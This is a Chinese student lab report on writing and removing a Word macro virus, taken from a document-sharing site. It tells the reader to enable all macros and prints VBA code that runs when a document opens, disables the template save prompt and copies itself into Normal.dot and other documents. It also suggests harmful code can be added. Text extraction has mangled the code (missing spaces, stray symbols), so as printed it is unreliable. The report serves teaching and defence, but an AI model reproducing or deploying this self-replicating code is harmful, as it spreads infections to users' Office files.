欢迎来到天天文库
浏览记录
ID:24195014
大小:117.00 KB
页数:3页
时间:2018-11-13
《计算机宏病毒分析及清除试验报告》由会员上传分享,免费在线阅读,更多相关内容在学术论文-天天文库。
1、实验报告实验时间2016年11月230实验地点软件工程实验室实验名称计算机宏病毒分析及清除实验目的:1、了解“宏病毒”机理;2、掌握清除宏病毒的方法;3、掌握采用“宏”和脚本语言进行编程的技术实验平台:1、Windows2000/2003/XP或更高级别的Windows操作系统;2、OfficeWord2000/2003等字处理软件。实验内容:1、编写宏病毒2、删除宏病毒实验步骤:1、打幵Word字处理软件,在Word选项中,点击”信任中心'然后“信任中心设置”选择”启动所有宏”2、自我复制功能演示打幵一个word文档,然后按Alt+Fl
2、l调用宏编写窗口(工具“宏”“VisualBasic宏编辑器”),在左侧的“project—>MicrosoftWord”对象“ThisDocument”中输入以下代码,保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,此时所有的word文档打幵和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用。SubDocument_Open()OnErrorResumeNextAppl
3、ication.DisplayStatusBar=FalseOptions.SaveNormalPrompt=FalseSetourcodemodule=ThisDocument.VBProject.VBComponents(1).CodeModuleSethost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThenSethost=ActiveDocument.VBProject.VBComponents(1).CodeM
4、oduleEndIfWithhostIf.Lines(l,1)<〉"Micro-Virus"Then.DeleteLines1,.CountOfLines.InsertLines1,ourcodemodule.Lines(l,100)•ReplaceLine2,’’SubDocument_Close()nIfThisDocument=NormalTemplateThen•ReplaceLine2,’’SubDocument_Open()nActiveDocument.SaveAsActiveDocument.FullNameEndIfEn
5、dIfEndWithMsgBox”哈哈哈哈哈哈哈哈哈’’EndSub3、宏病毒运行4、打幵受感染的word文档,进入宏编辑环境(Alt+Fll),打幵“NormalMicrosoftWord”对象“ThisDocument”,清除其中的病毒代码(只要删除所有内容即可)。实验结果及分析:打开相应WORD文档,运行情况如下实验拓展:
此文档下载收益归作者所有